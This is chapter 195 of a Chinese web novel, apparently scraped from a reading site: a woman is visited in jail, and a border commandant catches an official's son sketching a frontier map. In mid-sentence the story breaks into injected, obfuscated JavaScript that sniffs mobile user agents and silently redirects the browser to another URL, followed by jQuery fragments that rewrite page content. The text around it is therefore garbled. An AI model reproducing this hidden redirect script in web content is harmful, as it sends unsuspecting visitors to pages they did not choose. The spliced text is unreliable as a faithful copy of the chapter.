月半冬月 作品

195. 第 195 章

今日傍晚的正阳街和昨日和前日的并没有区别,但对于何四来说却完全不一样。他拎着食盒看向周围或站或走的行人,看着一间间热闹的店铺,心中的愁绪显现在面上。


“会无事的,别担心。”常大庄没转头,手按了按胸口的衣襟,低声安抚何四道:“咱们先见到曹娘子再说。”


“嗯。”何四点头,跟上了常大庄的步伐。


他们过去时,先前来医药馆送消息的小工正靠在县衙侧门外的小巷口百无聊赖地看着街上的行人,瞧见走在常大庄身后半步的何四,他眼前一亮,快步上前,“小郎君来了,跟我过来吧。”说着,领着他们往侧门而去。


常大庄侧过身,独臂轻碰何四手背,眉峰一挑,这是谁?


何四小声:“送消息来的。”跟在了小工身后两步。


常大庄瞧了眼不远处的县衙朱红大门,没说话,跟在何四身后。


从侧门进去,小工领着他们去了西侧坡下的县衙大牢,与黑水城大多石块底土砖墙体不一样,这幢建筑是纯石块垒砌而成,房半陷在地底,东侧石墙高处裂开几道气孔。


一看就让人觉得压抑。


小工转身看了眼身后两人,两人都看了过来,那独臂大汉的眼神让他有些紧张,抿了抿唇,“牢头姓王,我们喊他老王头。”


敲门声才响,厚重的木门从里打开,一股子霉味从里面传出,何四不适地抽动了下鼻头。


小工:“医药馆曹娘子家的。”


老王头点头,朝两人点点头,“跟我进来吧。”


何四看了眼小工,小工道:“我在外面等着你们。”


常大庄在何四前面进去,比起外面绚丽的晚霞,牢狱里的采光主要还是靠大门处的火把。老王头领着他们去到最靠外面的一间牢房,“曹娘子,你家人来看你了。”


何四扑到牢门前,木栅栏的毛刺扎进掌心。暗处那抹灰扑扑的身影走近,正是曹茵。“娘子!”他嗓音劈了岔。


常大庄眯眼扫过相邻牢房,两间牢房空着,对角那间隐约传来铁链拖地声。


曹茵见何四那红肿着的双眼,心下明白何四该是吓坏了,她转了一圈,安慰道:“我没事,都好好的。”


她这样说,何四感觉心里更难受了,是他没用,还要娘子来安慰。


常大庄:“牢头,麻烦开下门,我们进去送饭。”隔着木栅栏不方便。


何四吸着鼻子,将食盒放在牢头处,拿出陈厨娘准备的一碟过油肉和油炸花生放在牢头的桌上:“这是给牢头准备的。”


老王头耷拉的眼皮倏地抬起,油光锃亮的过油肉在暮色里泛着琥珀色光泽,炸花生的焦香勾得他喉结滚动。他笑着拿钥匙打开牢门,“你们多聊聊,不着急。”曹娘子家人上道,他自也识趣。


何四才踏进牢房,霉味混着尿骚气直冲鼻腔,地砖的凉意透过布鞋渗进脚心。他瞥见墙角一团黑乎乎的稻草,隐约还有窸窣响动,喉头猛地发紧。


“好了,好了,”曹茵接过他手中的食盒,拿出菜碟放在食盒之上,一打眼,瞧见那切的细细的肉丝,蔡婆子可没这么好的刀工,“你们请了刘厨娘帮着做的吃食?有心了,其实蔡婆子做的菜也比之前的好吃,没……”话说一半,瞧见何四脸上的愤愤,“怎么了?”


何四想起蔡婆子听到消息时躲闪的眼神,告状道:“蔡婆子不见了!原本她应给娘子做饭食,但在我给驿站送信时,她竟也离开了医药馆!出发前她也没回来,我气不过用锁把她房门锁上了!”他说得咬牙切齿,袖口下的拳头攥得死紧。


衣柜下那叠烫金番邦文书、刻着狼头的木牌,此刻在曹茵脑中清晰得刺眼,“蔡婆子跑了?”她听见自己声音发飘,像是从很远的地方传来,“这绝非巧合。”


难道那人想收网了?是顾安那边出了什么事?这念头一闪而过,她强压下不安,“驿站?”曹茵揪住这个字眼。


常大庄也看向何四。


何四垂下头,又急急抬眼,“老爷出发前交代过我,他不在家的时候,要是有什么紧急的事情,可以去驿站找驿丞,送信去黑水营……”


曹茵瞥了眼坐在牢房外的老王头,见他正哼着小曲闲适地吃着花生,抿了抿唇,追问道:“送给谁?信是你写的?”何四才跟着她学识字,而且是以药名启蒙的,会写信吗?


“不是我写的,”何四头摇得跟拨浪鼓似的,“老爷留下的信件。”


曹茵皱眉想,提前留的信件,这能有什么用?不过,不管如何顾安起码留了后手,这让她自顾安出发后日益累积的火气消散了一些。


常大庄左手探进衣襟,摸出块铜牌。正中“黑水营”三个凹字却清晰可辨。“当年断臂时,将军给了这个。”他将铜牌递给曹茵,“县尉认得它。”


曹茵接过铜牌,手指清晰的感受到其金属的冰凉感,脑中有一个念头飞快闪过,“常大哥,谢谢你,但这事还没到用这块铜牌的时候。”她将铜牌还给常大庄。


她进这里是得罪了人,这铜牌不见得有用,或许还会因此让常大庄也得罪了人。


“娘子,菜都凉了,你边吃边说。”何四没听懂,只知道菜要冷了。


曹茵点头,手在身上擦了擦接过何四递来的筷子,大口吃起东西来,补充了体力才能抗更久,“常大哥,我没回医药馆前,你可以带着舒娘姐住在医药馆吗?”后院要比医药馆舒服,但前有蔡婆子藏的东西,后有蔡婆子失踪,她不能害了常大庄夫妇,“崔娘子还住在医药馆,你们过去,她那边也能安心些。”


常大庄点头应下,随即想到崔元的提议,他便说了出来,不管事成不成得了,起码崔家人有这份心。


世间人大多锦上添花或落井下石,雪中送炭不管多少,都可贵!


曹茵脑中快速将现有的情况过了一遍,“暂时先不用,何四、常大哥,你们代我谢过崔娘子和崔郎君,我觉得现如今动不如不动。”她想等着背后之人露出真实想法来,“还有就是不若简单问题简单处理,包老太为何要攀咬咱们?”齐老三夫妇去县衙告包老太之事她也听荀三娘和舒娘姐提过一嘴,“总不能是无故泄愤吧?”


常大庄点头,下意识往侧对面的牢房看了眼。


曹茵摇头轻声道:“我看牢头把她关到更里面的牢房里去了。”


常大庄讶然,要知道牢狱有个不成文的规矩,所犯罪行愈重,囚室愈深。包老太这是……


“我去打听一下。”虽然齐老三一家住他家隔壁,但回来这段时间,他们夫妇白日里都在外面,只有夜里才回家住,对隔壁院子里的事,关注的并不多,谁又能知道,包老太为何整了这么一出,“实在不行,西域行商……”


曹茵打断他的话语:“别往这块想。”西域行商要拉进来这事就复杂了,按照上一世来说,或许会引起国际纠纷,“朝廷鼓励边城通商,咱得顺势不能逆行。”


常大庄摩挲了下手中的铜牌,还是曹娘子理智些,是他想岔了。


哪怕曹茵吃得再慢,也有吃完的时候,等到何四收拾好食盒出去时,眼泪又涌了出来,曹茵拍拍他瘦削的肩膀,“别哭了,回去就把大门的锁给换了,前后院的都要换。”蔡婆子来医药馆这么久,谁知道有没有偷偷配钥匙,不得不防,“对了,顺道去衙门报奴仆失踪,她的卖身契就在……”


顾安抬手打断了曹茵的话语,“我去报失踪,契书之类的,你出来后再给衙门。”


曹茵笑着点头。


老王头见他们出来,锁好牢门后,笑眯眯地领着两人出了牢狱。


他身影消失后,侧对面的牢房里有人道:“你倒是好命,还有人来送饭。”


曹茵没理会她们的酸言酸语,又缩回了墙角。


走出牢狱,天边的晚霞已从艳红转为暮色,晚风吹来,何四打了个喷嚏,之前萦绕在鼻间的霉味和骚味全部都打没了,小工上前跟老王头打了声招呼,准备领着他们出去。


常大庄笑道:“劳烦带我们去趟衙门。”


他这话让还没回牢狱的老王头和小工一愣,小工问:“不知郎君去衙门有何事?”


常大庄揉了揉眉心:“曹娘子请我代向官衙报个逃奴,劳烦差爷查查。”


原来是这么回事,小工和老王头对视一眼,小工笑眯眯道:“两位随我过来。”


老王头目送二人踏入暮色,牢门铁锁发出沉重声响,他提着油灯开始例行巡查。


夜色渐浓,都尉府的檐角在晚风中微微晃动。都尉大人愤然甩袖才从周夫人居住的院落出来,路过苍窘院时,他转


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303466|137042||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


而进了院子,身后的贴身侍卫随他一同进去。


院中烛火摇曳,投下斑驳树影。肖志的笑声混着夜风传出,“呵呵,周夫人可真是客气,在院子里放了这么几个清秀佳人,崔公子你可真是好福气啊!”


听到这话,都尉大人脚步一顿,背在身后的大手青筋自手背暴起。


他完全没想到夫人做了如此安排,送丫鬟暖床怎么能用在这两位小郎君这!他作为手握兵权的边城将领,他只要是纯粹的保皇派即可,何需对两位京城来的纨绔小郎君示好?!


夫人可真是糊涂!


想到此,胡达脚步停顿,一时间也不知道是进去还是不进去。


“肖公子,送丫鬟暖床之事怎么能出自戍守边关的都尉夫人之意呢!我瞧胡大人不像是能做出这种事之人,他不会,出身世家的夫人更不会如此了。”崔德的声音响起。


都尉大人脸色稍缓,随即又板起来,他本是想来侧面探听一下顾安、曹娘子和这崔侯爷家公子之间关系的,没想到却撞上了这么个事。


肖志斜倚在红木嵌贝壳椅背上,笑声刺耳:“崔公子这般天真,倒像你那姨娘。”据他所知,这崔德的娘亲是当今圣上在云洲做大将军时撮合成崔侯爷妾室。无非是崔德娘不是丫鬟而是云洲富商明家的嫡出小娘子罢了,但那又如何,商户地位本就不高。


崔德指尖一颤,杯中茶水险些泼出,瞬间收缩的瞳孔昭示着他不平静的心绪。


闭上眼再缓缓睁开,他视线扫过立在一旁的几名丫鬟,为首的那位丫鬟虽垂着头,但房间内烛火明亮,崔德能看出她脸煞白,这是被肖志的话语吓到了吧。


他挥了挥手,“你们先下去吧。”


“欸,崔德你不要可以,别帮我拒绝呀!”


桂枝垂着脸,心里被事情的发展弄得七上八下的,直到崔公子说:“肖志,你要真要这般胡闹,别怪我翻脸!”


那肖公子才挥手让她们下去。


桂枝行礼后,退出了房间,才走到转角处,便瞧见了黑着脸的都尉大人,桂枝明显一愣,后颈渗出冷汗,慌忙想要出声行礼,被都尉大人示意闭嘴,话语吞进肚子里,匆匆行礼后领着几名丫鬟匆忙离开。


“肖志,”崔德看向肖志,“我已答应你来边城,你说的叛国证据又在哪里呢?”


肖志把玩着茶盏,压低嗓音:“崔公子莫急,待那批货过了黑水峡,证据自会送到你手上。”指尖沾湿茶水在案上勾画地形:“你瞧瞧这……”


话未毕,都尉大人已踏入屋内,“原来肖公子之前与某说的这趟边城之行只是游玩,却是哄我的?”目光扫过桌案上尚未消失的水渍,虽只有几笔,但看惯了舆图的他敏锐地发现绘制的竟是边城关隘图。


肖志的喉结剧烈滚动,手掌重重按在案几上,冰凉的茶汤从指缝溢出,顺着案几脚滑落到地上,成一滩水渍。


崔德垂下眼帘,将所有的情绪全掩在之下。


都尉大人脸黑如墨,大刀阔斧坐在椅子上:“若是今日没有个合理的解释,哪怕肖公子的父亲是吏部侍郎大人,胡某也只能如实禀告圣上了。”都尉在陈朝官职并不算高,但直接向圣上汇报。


此时,几百里之外的壌州城大将军府内的殷予,也收到了派去千户身边探听消息的下属的回复。


看到那抄写下来的信件内容,殷予皱眉沉思,难道说驻守边城的都尉虽骁勇善战却不擅谋略?所以对于肖志所谓的游玩之说,他竟派亲卫以省亲之由去京城亲自确认?


陈朝都尉虽秩不过五品,却有直奏之权,此乃朝廷为防边将遭制所立。


而他出发前,父皇让他抵达黑水城后定要代为向胡都尉问好,以示对胡都尉的器重!


所以胡都尉绝不只是会打仗不擅谋略之人!


殷予灵光一闪:信件为假,亲卫回京另有目的?


他努力回忆前世记忆——黑水城都尉胡达,番邦大军来袭之际,率陈朝黑水营兵士几次出城迎敌,骁勇善战,将大军阻于黑水城外数日。却遭心腹背叛,城门从内打开,腹背受敌而战亡!


闭上眼,殷予沉思许久,久到,站在几步之外的赵虎以为他睡着了之时。


殷予睁开眼道:“赵统领,你去跟大将军说,本皇子要先去黑水城了。”